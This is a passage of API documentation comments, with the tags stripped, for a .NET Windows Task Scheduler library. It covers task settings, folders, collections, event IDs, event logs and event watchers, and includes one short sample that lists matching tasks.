supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + 